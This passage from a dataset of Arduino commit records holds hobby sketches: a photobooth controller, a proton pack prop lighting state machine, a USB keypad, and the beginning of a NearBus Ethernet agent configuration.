< sizeof(spot_pins)\/sizeof(int); i++) {\n analogWrite(spot_pins[i], value);\n }\n}\n\n\n\/* displays a number on the 7-segment-display *\/\nvoid displayNumber(int n) {\n for (int i = 0; i < sizeof(segment_pins)\/sizeof(int); i++) {\n digitalWrite(segment_pins[i], segment_digits[n][i]);\n }\n}\n\n\n\/* turns the 7-segment-display off *\/\nvoid display_off() {\n for (int i = 0; i < sizeof(segment_pins)\/sizeof(int); i++) {\n digitalWrite(segment_pins[i], LOW);\n }\n}\n\n\n\/* turns every light off *\/\nvoid clearAll() {\n spots_off();\n display_off();\n breathing_stop();\n}\n\n\n\/* starts countdown and focusing, than takes picture *\/\nvoid takePhoto() {\n Serial.println(\"Taking photo.\");\n\n spots_dimm(5);\n digitalWrite(pin_focus, HIGH);\n\n animation_one(50);\n \n displayNumber(3);\n delay(1000);\n displayNumber(2);\n delay(1000);\n displayNumber(1);\n delay(1000);\n \n display_off();\n\n \/\/spots_on();\n spots_dimm(100);\n delay(75);\n digitalWrite(pin_shutter, HIGH);\n\n delay(400);\n \n clearAll();\n\n digitalWrite(pin_focus, LOW);\n digitalWrite(pin_shutter, LOW);\n \n Serial.println(\"Photo taken.\");\n}\n\n\n\/* checks received command and calls corresponding function *\/\nvoid processCommand(String cmd) {\n if(cmd == \"1\") displayNumber(1);\n if(cmd == \"2\") displayNumber(2);\n if(cmd == \"3\") displayNumber(3);\n if(cmd == \"4\") displayNumber(4);\n if(cmd == \"5\") displayNumber(5);\n if(cmd == \"6\") displayNumber(6);\n if(cmd == \"7\") displayNumber(7);\n if(cmd == \"8\") displayNumber(8);\n if(cmd == \"9\") displayNumber(9);\n if(cmd == \"0\") displayNumber(0);\n \n if(cmd == \"display off\") display_off();\n\n if(cmd == \"spots on\") spots_on();\n if(cmd == \"spots off\") spots_off();\n if(cmd == \"spots dimm\") spots_dimm(1);\n \n if(cmd == \"S1 on\") spot_on(0);\n if(cmd == \"S1 off\") spot_off(0);\n if(cmd == \"S2 on\") spot_on(1);\n if(cmd == \"S2 off\") spot_off(1);\n if(cmd == \"S3 on\") spot_on(2);\n if(cmd == \"S3 off\") spot_off(2);\n if(cmd == \"S4 on\") spot_on(3);\n if(cmd == \"S4 off\") spot_off(3); \n \n if(cmd == \"animation 1\") animation_one(50);\n if(cmd == \"animation 2\") animation_two(50);\n if(cmd == \"animation spots\") animation_spots(100);\n \n if(cmd == \"clear\") clearAll();\n \n if(cmd == \"mode auto\") mode_auto = true;\n if(cmd == \"mode manual\") mode_auto = false;\n \n if(cmd == \"take photo\") takePhoto();\n}\n\n\n\/* reads new input from serial to commandstring. Command is complete on \\n *\/\nvoid serialEvent() {\n while(Serial.available()) {\n char inChar = (char)Serial.read(); \n if(inChar == '\\n') {\n commandComplete = true;\n } else {\n inputCommand += inChar; \n }\n }\n}\n\n\/\/ This loop function runs over and over again. Forever. Poor little thing.\nvoid loop() {\n\n breathing_do_step(); \/\/ do one step in \"breathing\"\n\n \/\/ check all pushbuttons for changes\n for(int i = 0; i < sizeof(pushbutton_pins)\/sizeof(int); i++) {\n if(digitalRead(pushbutton_pins[i]) == LOW) { \/\/ if button is pressed\n if (lastButtonState[i] == HIGH) { \/\/ and was not pressed before\n lastButtonState[i] = LOW; \/\/ save current state (pressed)\n if(mode_auto) { \/\/ in standalone-mode...\n inputCommand = \"take photo\"; \/\/ set command\n commandComplete = true;\n } else { \/\/ in remote-controlled mode...\n Serial.print(\"P\"); \/\/ notify computer which button was pressed\n Serial.println(i);\n }\n }\n delay(250); \/\/ poor mans debouncing\n } else { \/\/ if button is not pressed\n lastButtonState[i] = HIGH; \/\/ save state (released)\n }\n }\n\n\n if(commandComplete) {\n breathing_stop(); \/\/ stop breathing (turn LED off)\n processCommand(inputCommand); \/\/ process command\n breathing_reset(); \/\/ enable breathing again\n\n inputCommand = \"\"; \/\/ reset the commandstring\n commandComplete = false; \/\/ reset command complete\n \n Serial.println(\"ready\"); \/\/ notify computer\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/photobooth.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7644463531778e7c7e9e55ad2434cd293c008fe1","subject":"Add files via upload","message":"Add files via upload\n\nRewrite of the lights-only code.","repos":"martinux\/proton_pack_arduino","old_file":"proton_pack_buttons_1.0.ino","new_file":"proton_pack_buttons_1.0.ino","new_contents":"\/\/ Proton pack\n\nint current_state = 0; \/\/ Tracks what the pack should be doing.\nint previous_state = 0;\n\n\/\/ ===============================================================================================\n\/\/ TIMEKEEPING\n\/\/ ===============================================================================================\nunsigned long currentMillis = 0;\nunsigned long previousMillis_off = 0; \/\/ will store last updated time.\nunsigned long previousMillis_on = 0;\nunsigned long previousMillis_fire = 0;\nunsigned long off_interval = 30;\nunsigned long pwrcl_interval = 70; \/\/ interval at which to cycle lights (milliseconds).\nunsigned long firing_interval = 60; \/\/ interval at which to cycle firing lights (milliseconds).\nunsigned long max_firing_interval = 50;\nunsigned long min_firing_interval = 30;\nunsigned long overheat_interval = 200;\nint overheat_cycles = 7;\nint overheat_counter = overheat_cycles;\n\n\/\/ ===============================================================================================\n\/\/ BUTTONS\n\/\/ ===============================================================================================\n#define DEBOUNCE 5 \/\/ button debouncer.\n\/\/ Pins 14, 15 and 16 are Analog 0, 1 and 2 respectively.\nint power_button = 14;\nint firing_button = 15;\nint music_button = 16;\nint power_button_state;\nint firing_button_state;\nint music_button_state;\n\n\/\/ ===============================================================================================\n\/\/ SHIFT REGISTERS\n\/\/ ===============================================================================================\nint latchPin = 8;\nint clockPinPWR = 6; \/\/ Power cell\nint clockPinGUN = 18; \/\/ Gun (18 is analog pin 4 on arduino)\n\/\/\/\/Pin connected to DS of 74HC595 (pin 14)\nint dataPinPWR = 7; \/\/ Power cell\nint dataPinGUN = 19; \/\/ Gun (19 is analog pin 5 on arduino)\n\n\/\/holders for information we're going to pass to shifting function\nbyte dataPWRCL1;\nbyte dataPWRCL2;\nbyte dataGUN1;\nbyte dataGUN2;\nbyte dataGUNON1;\nbyte dataGUNON2;\n\/\/ data arrays\nbyte PWRCL1[15];\nbyte PWRCL2[15];\nbyte GUN1[26];\nbyte GUN2[26];\nbyte GUNON1[15];\nbyte GUNON2[15];\nbyte OHPWRCL1[2];\nbyte OHPWRCL2[2];\nbyte OHGUN1[2];\nbyte OHGUN2[2];\n\/\/ track array position\nint power_cell_array_pos = 0;\nint gun_array_pos = 0;\nint gunactive_array_pos = 0;\nint overheat_array_pos = 0;\n\n\nint freeRam(void) {\n extern int __bss_end;\n extern int *__brkval;\n int free_memory;\n if((int)__brkval == 0) {\n free_memory = ((int)&free_memory) - ((int)&__bss_end); \n }\n else {\n free_memory = ((int)&free_memory) - ((int)__brkval); \n }\n return free_memory; \n}\n\n\nvoid setup() {\n \/\/ set up serial port\n Serial.begin(9600);\n Serial.print(\"Free RAM: \");\n Serial.println(freeRam()); \/\/ if this is under 150 bytes it may spell trouble!\n\n \/\/ Make input & enable pull-up resistors on switch pins\n Serial.println(\"Pull ups on switches\");\n digitalWrite(power_button, HIGH);\n digitalWrite(firing_button, HIGH);\n digitalWrite(music_button, HIGH);\n\n \/\/ Populate light pattern arrays\n Serial.println(\"Populating light arrays\");\n \/\/ power cell LEDs 0 through 7 then LEDs 8 through 15 (two shift registers)\n PWRCL1[0] = B10000000; PWRCL2[0] = B00000000; \/\/10000000 00000000\n PWRCL1[1] = B11000000; PWRCL2[1] = B00000000; \/\/11000000 00000000\n PWRCL1[2] = B11100000; PWRCL2[2] = B00000000; \/\/11100000 00000000\n PWRCL1[3] = B11110000; PWRCL2[3] = B00000000; \/\/11110000 00000000\n PWRCL1[4] = B11111000; PWRCL2[4] = B00000000; \/\/11111000 00000000\n PWRCL1[5] = B11111100; PWRCL2[5] = B00000000; \/\/11111100 00000000\n PWRCL1[6] = B11111110; PWRCL2[6] = B00000000; \/\/11111110 00000000\n PWRCL1[7] = B11111111; PWRCL2[7] = B00000000; \/\/11111111 00000000\n PWRCL1[8] = B11111111; PWRCL2[8] = B10000000; \/\/11111111 10000000\n PWRCL1[9] = B11111111; PWRCL2[9] = B11000000; \/\/11111111 11000000\n PWRCL1[10] = B11111111; PWRCL2[10] = B11100000; \/\/11111111 11100000\n PWRCL1[11] = B11111111; PWRCL2[11] = B11110000; \/\/11111111 11110000\n PWRCL1[12] = B11111111; PWRCL2[12] = B11111000; \/\/11111111 11111000\n PWRCL1[13] = B11111111; PWRCL2[13] = B11111100; \/\/11111111 11111100\n PWRCL1[14] = B11111111; PWRCL2[14] = B11111110; \/\/11111111 11111110\n \n \/\/Proton wand idle pattern - two shift registers\n GUN1[0] = B01000000; GUN2[0] = B00000000; \/\/01000000 00000000\n GUN1[1] = B01000000; GUN2[1] = B00000000; \/\/01000000 00000000\n GUN1[2] = B01100000; GUN2[2] = B00000000; \/\/01100000 00000000\n GUN1[3] = B01110000; GUN2[3] = B00000000; \/\/01110000 00000000\n GUN1[4] = B01111000; GUN2[4] = B00000000; \/\/01111000 00000000\n GUN1[5] = B01111100; GUN2[5] = B00000000; \/\/01111100 00000000\n GUN1[6] = B01111110; GUN2[6] = B00000000; \/\/01111110 00000000\n GUN1[7] = B01111111; GUN2[7] = B10000000; \/\/01111111 10000000\n GUN1[8] = B01111111; GUN2[8] = B11000000; \/\/01111111 11000000\n GUN1[9] = B01111111; GUN2[9] = B11100000; \/\/01111111 11100000\n GUN1[10] = B01111111; GUN2[10] = B11110000; \/\/01111111 11110000\n GUN1[11] = B01111111; GUN2[11] = B11111000; \/\/01111111 11111000\n GUN1[12] = B01111111; GUN2[12] = B11111100; \/\/01111111 11111100\n GUN1[13] = B01111111; GUN2[13] = B11111110; \/\/01111111 11111110\n GUN1[14] = B01111111; GUN2[14] = B11111100; \/\/01111111 11111100\n GUN1[15] = B01111111; GUN2[15] = B11111000; \/\/01111111 11111000\n GUN1[16] = B01111111; GUN2[16] = B11110000; \/\/01111111 11110000\n GUN1[17] = B01111111; GUN2[17] = B11100000; \/\/01111111 11100000\n GUN1[18] = B01111111; GUN2[18] = B11000000; \/\/01111111 11000000\n GUN1[19] = B01111111; GUN2[19] = B10000000; \/\/01111111 10000000\n GUN1[20] = B01111111; GUN2[20] = B00000000; \/\/01111111 00000000\n GUN1[21] = B01111110; GUN2[21] = B00000000; \/\/01111110 00000000\n GUN1[22] = B01111100; GUN2[22] = B00000000; \/\/01111100 00000000\n GUN1[23] = B01111000; GUN2[23] = B00000000; \/\/01111000 00000000\n GUN1[24] = B01110000; GUN2[24] = B00000000; \/\/01110000 00000000\n GUN1[25] = B01100000; GUN2[25] = B00000000; \/\/01100000 00000000\n GUN1[26] = B01000000; GUN2[26] = B00000000; \/\/01000000 00000000\n \n \/\/ Proton wand firing pattern - two shift registers\n \/\/ 10000000 and 00000001 used for GUN strobe\n GUNON1[0] = B11000000; GUNON2[0] = B00000010; \/\/1|1000000 0000001|0\n GUNON1[1] = B00100000; GUNON2[1] = B00000101; \/\/0|0100000 0000010|1\n GUNON1[2] = B00010000; GUNON2[2] = B00001000; \/\/1|0010000 0000100|0\n GUNON1[3] = B10001000; GUNON2[3] = B00010001; \/\/0|0001000 0001000|1\n GUNON1[4] = B00000100; GUNON2[4] = B00100000; \/\/1|0000100 0010000|0\n GUNON1[5] = B00000010; GUNON2[5] = B01000001; \/\/0|0000010 0100000|1\n GUNON1[6] = B10000001; GUNON2[6] = B10000000; \/\/1|0000001 1000000|0\n GUNON1[7] = B00000001; GUNON2[7] = B10000001; \/\/0|0000001 1000000|1\n GUNON1[8] = B00000001; GUNON2[8] = B10000000; \/\/1|0000001 1000000|0\n GUNON1[9] = B10000010; GUNON2[9] = B01000001; \/\/0|0000010 0100000|1\n GUNON1[10] = B00000100; GUNON2[10] = B00100000; \/\/1|0000100 0010000|0\n GUNON1[11] = B00001000; GUNON2[11] = B00010001; \/\/0|0001000 0001000|1\n GUNON1[12] = B10010000; GUNON2[12] = B00001000; \/\/1|0010000 0000100|0\n GUNON1[13] = B00100000; GUNON2[13] = B00000101; \/\/0|0100000 0000010|1\n GUNON1[14] = B01000000; GUNON2[14] = B00000010; \/\/1|1000000 0000001|0\n\n \/\/ Overheat patterns\n OHPWRCL1[0] = B00000000; OHPWRCL2[0] = B00000000;\n OHPWRCL1[1] = B11111111; OHPWRCL2[1] = B11111111;\n OHGUN1[0] = B00000000; OHGUN2[0] = B00000000;\n OHGUN1[1] = B01111111; OHGUN2[1] = B11111110;\n\n \/\/ Set pins for shift registers:\n pinMode(latchPin, OUTPUT); \/\/ shared between power cell and thrower\n pinMode(clockPinPWR, OUTPUT);\n pinMode(clockPinGUN, OUTPUT);\n pinMode(dataPinPWR, OUTPUT);\n pinMode(dataPinGUN, OUTPUT);\n \/\/ Initialise Power cell and gun lights\n Serial.println(\"Initialising lights.\");\n digitalWrite(latchPin, 0);\n shiftOut(dataPinPWR, clockPinPWR, 0x00);\n shiftOut(dataPinPWR, clockPinPWR, 0x00);\n shiftOut(dataPinGUN, clockPinGUN, 0x40);\n shiftOut(dataPinGUN, clockPinGUN, 0x00);\n digitalWrite(latchPin, 1);\n\n}\n\n\nvoid loop() {\n pack_state();\n if (previous_state != current_state) {\n Serial.print(\"STATE: \");\n Serial.println(current_state);\n }\n}\n\n\nvoid pack_state() {\n previous_state = current_state;\n switch (current_state) {\n case 0: \/\/ reset\n current_state = 1;\n pwrcl_interval = 70;\n firing_interval = max_firing_interval;\n overheat_counter = overheat_cycles;\n break;\n \n case 1: \/\/ Start\n power_button_state = digitalRead(power_button);\n if (power_button_state == LOW) {\n current_state = 2;\n }\n else {\n current_state = 0;\n }\n break;\n \n case 2: \/\/ Powered on\n power_button_state = digitalRead(power_button);\n firing_button_state = digitalRead(firing_button);\n if (power_button_state == HIGH) {\n current_state = 3;\n }\n if (firing_button_state == LOW) {\n current_state = 4;\n }\n powered_on();\n break;\n\n case 3: \/\/ Power down\n Serial.print(\"array positions: \");\n Serial.print(power_cell_array_pos);\n Serial.print(\" : \");\n Serial.println(gun_array_pos);\n powered_down();\n break;\n\n case 4: \/\/ Firing\n power_button_state = digitalRead(power_button);\n firing_button_state = digitalRead(firing_button);\n \/\/Serial.print(\"Button states [power|firing]: \"); \n \/\/Serial.print(power_button_state); Serial.print(\"|\"); Serial.println(firing_button_state);\n if ((power_button_state == HIGH) && (firing_button_state == LOW)) {\n current_state = 3;\n }\n if (firing_button_state == HIGH) {\n current_state = 0;\n }\n firing();\n break;\n\n case 5: \/\/ Overheat\n overheat();\n break;\n\n case 6: \/\/ Overheat lockout\n firing_button_state = digitalRead(firing_button);\n if (firing_button_state == HIGH) {\n current_state = 0;\n }\n break;\n }\n}\n\n\nvoid powered_on() {\n currentMillis = millis();\n if (currentMillis - previousMillis_on > pwrcl_interval) {\n previousMillis_on = currentMillis;\n \/\/ Load the light sequence from arrays\n dataPWRCL1 = PWRCL1[power_cell_array_pos];\n dataPWRCL2 = PWRCL2[power_cell_array_pos];\n dataGUN1 = GUN1[gun_array_pos];\n dataGUN2 = GUN2[gun_array_pos];\n\n digitalWrite(latchPin, 0); \/\/ Low to send data\n \/\/ Send data to shift registers:\n shiftOut(dataPinPWR, clockPinPWR, dataPWRCL1);\n shiftOut(dataPinPWR, clockPinPWR, dataPWRCL2);\n shiftOut(dataPinGUN, clockPinGUN, dataGUN1);\n shiftOut(dataPinGUN, clockPinGUN, dataGUN2);\n digitalWrite(latchPin, 1); \/\/ high to make shift register output data.\n \n power_cell_array_pos++;\n if (power_cell_array_pos > 14) {\n power_cell_array_pos = 0;\n }\n gun_array_pos++;\n if (gun_array_pos > 25) {\n gun_array_pos = 0;\n }\n }\n}\n\n\nvoid powered_down() {\n currentMillis = millis();\n if (currentMillis - previousMillis_on > off_interval) {\n previousMillis_on = currentMillis;\n if (gun_array_pos != power_cell_array_pos) {\n gun_array_pos = power_cell_array_pos;\n }\n \/\/ Load the light sequence from arrays\n Serial.print(\"PWR array: \"); Serial.print(power_cell_array_pos);\n Serial.print(\" GUN array: \"); Serial.println(gun_array_pos);\n \n dataPWRCL1 = PWRCL1[power_cell_array_pos];\n dataPWRCL2 = PWRCL2[power_cell_array_pos];\n dataGUN1 = GUN1[gun_array_pos];\n dataGUN2 = GUN2[gun_array_pos];\n\n digitalWrite(latchPin, 0); \/\/ Low to send data\n \/\/ Send data to shift registers:\n shiftOut(dataPinPWR, clockPinPWR, dataPWRCL1);\n shiftOut(dataPinPWR, clockPinPWR, dataPWRCL2);\n shiftOut(dataPinGUN, clockPinGUN, dataGUN1);\n shiftOut(dataPinGUN, clockPinGUN, dataGUN2);\n digitalWrite(latchPin, 1); \/\/ high to make shift register show data.\n \n power_cell_array_pos--;\n if (power_cell_array_pos < 0) {\n power_cell_array_pos = 0;\n current_state = 0;\n }\n gun_array_pos--;\n if (gun_array_pos < 0) {\n gun_array_pos = 0;\n current_state = 0;\n }\n }\n}\n\n\nvoid firing() {\n currentMillis = millis();\n if (currentMillis - previousMillis_on > firing_interval) {\n previousMillis_on = currentMillis;\n \/\/ Load the light sequence from arrays\n dataPWRCL1 = PWRCL1[power_cell_array_pos];\n dataPWRCL2 = PWRCL2[power_cell_array_pos];\n dataGUNON1 = GUNON1[gunactive_array_pos];\n dataGUNON2 = GUNON2[gunactive_array_pos];\n\n digitalWrite(latchPin, 0); \/\/ Low to send data\n \/\/ Send data to shift registers:\n shiftOut(dataPinPWR, clockPinPWR, dataPWRCL1);\n shiftOut(dataPinPWR, clockPinPWR, dataPWRCL2);\n shiftOut(dataPinGUN, clockPinGUN, dataGUNON1);\n shiftOut(dataPinGUN, clockPinGUN, dataGUNON2);\n digitalWrite(latchPin, 1); \/\/ high to make shift register show data.\n \n power_cell_array_pos++;\n if (power_cell_array_pos > 14) {\n firing_interval--;\n power_cell_array_pos = 0;\n }\n gunactive_array_pos++;\n if (gunactive_array_pos > 14) {\n gunactive_array_pos = 0;\n }\n Serial.print(\"firing intervals: \");\n Serial.print(firing_interval); Serial.print(\" | \"); Serial.println(min_firing_interval);\n if (firing_interval < min_firing_interval) {\n current_state = 5;\n }\n }\n}\n\n\nvoid overheat() {\n currentMillis = millis();\n if (currentMillis - previousMillis_on > overheat_interval) {\n previousMillis_on = currentMillis;\n overheat_array_pos = 1 - overheat_array_pos;\n Serial.print(\"Overheat array pos: \"); Serial.println(overheat_array_pos);\n \/\/ Load the light sequence from arrays\n dataPWRCL1 = OHPWRCL1[overheat_array_pos];\n dataPWRCL2 = OHPWRCL2[overheat_array_pos];\n dataGUN1 = OHGUN1[overheat_array_pos];\n dataGUN2 = OHGUN2[overheat_array_pos];\n\n digitalWrite(latchPin, 0); \/\/ Low to send data\n \/\/ Send data to shift registers:\n shiftOut(dataPinPWR, clockPinPWR, dataPWRCL1);\n shiftOut(dataPinPWR, clockPinPWR, dataPWRCL2);\n shiftOut(dataPinGUN, clockPinGUN, dataGUN1);\n shiftOut(dataPinGUN, clockPinGUN, dataGUN2);\n digitalWrite(latchPin, 1); \/\/ high to make shift register show data.\n\n overheat_counter--;\n if (overheat_counter < 0) {\n current_state = 6;\n }\n }\n \n}\n\n\nvoid shiftOut(int myDataPin, int myClockPin, byte myDataOut) {\n \/\/ This shifts 8 bits out MSB first, \n \/\/ on the rising edge of the clock,\n \/\/ clock idles low\n\n \/\/ internal function setup\n int i = 0;\n int pinState;\n pinMode(myClockPin, OUTPUT);\n pinMode(myDataPin, OUTPUT);\n\n \/\/clear everything out just in case to\n \/\/prepare shift register for bit shifting\n digitalWrite(myDataPin, 0);\n digitalWrite(myClockPin, 0);\n\n \/\/for each bit in the byte myDataOut?\n \/\/NOTICE THAT WE ARE COUNTING DOWN in our for loop\n \/\/This means that %00000001 or \"1\" will go through such\n \/\/that it will be pin Q0 that lights. \n for (i = 7; i >= 0; i--) {\n digitalWrite(myClockPin, 0);\n \n \/\/if the value passed to myDataOut and a bitmask result \n \/\/ true then... so if we are at i=6 and our value is\n \/\/ %11010100 it would the code compares it to %01000000 \n \/\/ and proceeds to set pinState to 1.\n if ( myDataOut & (1 << i) ) {\n pinState = 1;\n }\n else {\n pinState = 0;\n }\n \n \/\/Sets the pin to HIGH or LOW depending on pinState\n digitalWrite(myDataPin, pinState);\n \/\/register shifts bits on upstroke of clock pin\n digitalWrite(myClockPin, 1);\n \/\/zero the data pin after shift to prevent bleed through\n digitalWrite(myDataPin, 0);\n }\n \/\/stop shifting\n digitalWrite(myClockPin, 0);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'proton_pack_buttons_1.0.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"2ea9eacb569f088b4680441b150e102697a42045","subject":"keypad added","message":"keypad added\n\nadded arduino sketch for the pormicro\n","repos":"uncle-muddy\/featherPay,uncle-muddy\/featherPay","old_file":"keypad.ino","new_file":"keypad.ino","new_contents":"\/* keyPadHiduino Example Code\n by: Jim Lindblom\n date: January 5, 2012\n license: MIT license. If you find this code useful, please\n feel free to use this code however you'd like, commercially \n or otherwise. Just keep this license on there whatever you do.\n\n This code implements a 12-key USB keypad. You can type 0-9,\n * is the + sign and the # key is enter. I'm using SparkFun's\n 12-button keypad, your pinouts may vary. Multi-touch is\n not supported.\n\n SparkFun Keypad P\n Rows and columns are connected as such:\n -------------\n | 1 | 2 | 3 | - 3\n | 4 | 5 | 6 | - 7\n | 7 | 8 | 9 | - 6\n | * | 0 | # | - 1\n -------------\n | | |\n 2 4 5\n*\/\n\/\/ Pins 1-7 of the keypad connected to the Arduino respectively:\nint keypadPins[7] = {6, 7, 8, 9, 5, 4, 3};\nint keypadStatus; \/\/ Used to monitor which buttons are pressed.\nint timeout; \/\/ timeout variable used in loop\n\nvoid setup()\n{\n for (int i=0; i<7; i++)\n {\n pinMode(keypadPins[i], INPUT); \/\/ Set all keypad pins as inputs\n digitalWrite(keypadPins[i], HIGH); \/\/ pull all keypad pins high\n }\n}\n\nvoid loop()\n{\n keypadStatus = getKeypadStatus(); \/\/ read which buttons are pressed\n if (keypadStatus != 0) \/\/ If a button is pressed go into here\n {\n sendKeyPress(keypadStatus); \/\/ send the button over USB\n timeout = 2000; \/\/ top of the repeat delay\n while ((getKeypadStatus() == keypadStatus) && (--timeout)) \/\/ Decrement timeout and check if key is being held down\n delayMicroseconds(1);\n while (getKeypadStatus() == keypadStatus) \/\/ while the same button is held down\n {\n sendKeyPress(keypadStatus); \/\/ continue to send the button over USB\n delay(50); \/\/ 50ms repeat rate\n }\n }\n}\n\n\/* sendKeyPress(int key): This function sends a single key over USB\n It requires an int, of which the 12 LSbs are used. Each bit in\n key represents a single button on the keypad.\n This function will only send a key press if a single button\n is being pressed *\/\nvoid sendKeyPress(int key)\n{\n switch(key)\n {\n case 1: \/\/ 0x001\n Keyboard.write('1'); \/\/ Sends a keyboard '1'\n break;\n case 2: \/\/ 0x002\n Keyboard.write('2');\n break;\n case 4: \/\/ 0x004\n Keyboard.write('3');\n break;\n case 8: \/\/ 0x008\n Keyboard.write('4');\n break;\n case 16: \/\/ 0x010\n Keyboard.write('5');\n break;\n case 32: \/\/ 0x020\n Keyboard.write('6');\n break;\n case 64: \/\/ 0x040\n Keyboard.write('7');\n break;\n case 128: \/\/ 0x080\n Keyboard.write('8');\n break;\n case 256: \/\/ 0x100\n Keyboard.write('9');\n break;\n case 512: \/\/ 0x200\n Keyboard.write('.');\n break;\n case 1024: \/\/ 0x400\n Keyboard.write('0'); \/\/ Sends a keyboard '0'\n break;\n case 2048: \/\/ 0x800\n Keyboard.write('\\b'); \/\/ Sends the 'ENTER' key\n break;\n }\n}\n\n\/* getKeypadStatus(): This function returns an int that represents\nthe status of the 12-button keypad. Only the 12 LSb's of the return\nvalue hold any significange. Each bit represents the status of a single\nkey on the button pad. '1' is bit 0, '2' is bit 1, '3' is bit 2, ..., \n'#' is bit 11.\n\nThis function doesn't work for multitouch.\n*\/\nint getKeypadStatus()\n{\n int rowPins[4] = {keypadPins[2], keypadPins[6], keypadPins[5], keypadPins[0]}; \/\/ row pins are 2, 7, 6, and 1 of the keypad\n int columnPins[3] = {keypadPins[1], keypadPins[3], keypadPins[4]}; \/\/ column pins are pins 2, 4, and 5 of the keypad\n int keypadStatus = 0; \/\/ this will be what's returned\n \n \/* initialize all pins, inputs w\/ pull-ups *\/\n for (int i=0; i<7; i++)\n {\n pinMode(keypadPins[i], INPUT);\n digitalWrite(keypadPins[i], HIGH);\n }\n \n for (int row=0; row<4; row++)\n { \/\/ initial for loop to check all 4 rows\n pinMode(rowPins[row], OUTPUT); \/\/ set the row pin as an output\n digitalWrite(rowPins[row], LOW); \/\/ pull the row pins low\n for (int col=0; col<3; col++)\n { \/\/ embedded for loop to check all 3 columns of each row\n if (!digitalRead(columnPins[col]))\n {\n keypadStatus |= 1 << ((row+1)*3 + (col+1) - 4); \/\/ set the status bit of the keypad return value\n }\n }\n pinMode(rowPins[row], INPUT); \/\/ reset the row pin as an input\n digitalWrite(rowPins[row], HIGH); \/\/ pull the row pin high\n }\n \n return keypadStatus;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'keypad.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c70c9db722b86c2d8b14061e87133890d337ed60","subject":"Optimise data types","message":"Optimise data types","repos":"majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino","old_file":"build\/shared\/examples\/07.Display\/barGraph\/barGraph.ino","new_file":"build\/shared\/examples\/07.Display\/barGraph\/barGraph.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"fatal: remote error: upload-pack: not our ref c70c9db722b86c2d8b14061e87133890d337ed60\nfatal: the remote end hung up unexpectedly\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"ecdb51b0d479dead7689186281eafec5e012790f","subject":"Create HAL-E.ino","message":"Create HAL-E.ino","repos":"willstr1\/Home-Arduino-Logistics","old_file":"1.1\/Arduino\/HAL-E\/HAL-E.ino","new_file":"1.1\/Arduino\/HAL-E\/HAL-E.ino","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ \n\/\/ AGENT CONFIGURATION PARAMETERS ( You only need define this parameters )\n\/\/ IMPORTANT: this agent version is only supported on devices ID from NB100246 onwards\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ \nchar deviceId [] = \"\"; \/\/ Put here the device_ID generated by the NearHub ( NB1xxxxx )\nchar sharedSecret[] = \"\"; \/\/ (IMPORTANT: mandatory 8 characters\/numbers) - The same as you configured in the NearHub \nbyte mac[6] = { 0x90, 0xA2, 0xDA, 0x0D, 0x21, 0xEA }; \/\/ Put here the Arduino's Ethernet MAC\n\n\/\/ ADDITIONAL CONFIGURATION FOR STATIC IP ADDRESSING\n#define STATIC_IP 0 \/\/ 1=>Static IP 0=>DHCP\nbyte ip[] = { 192,168,1,10 }; \/\/ Your Arduino IP Address\nbyte subnet[] = { 255,255,255,0 }; \/\/ Your Arduino IP Mask\nbyte gateway[] = { 192,168,1,1 }; \/\/ Your Default Gateway (LAN Router)\nbyte gdns[] = { 8,8,8,8 }; \/\/ Google DNS server\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ \n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Includes\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include <Ethernet.h>\n#include <NearbusEther_v16.h> \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n#include <SPI.h>\n#include <Servo.h>\n#include 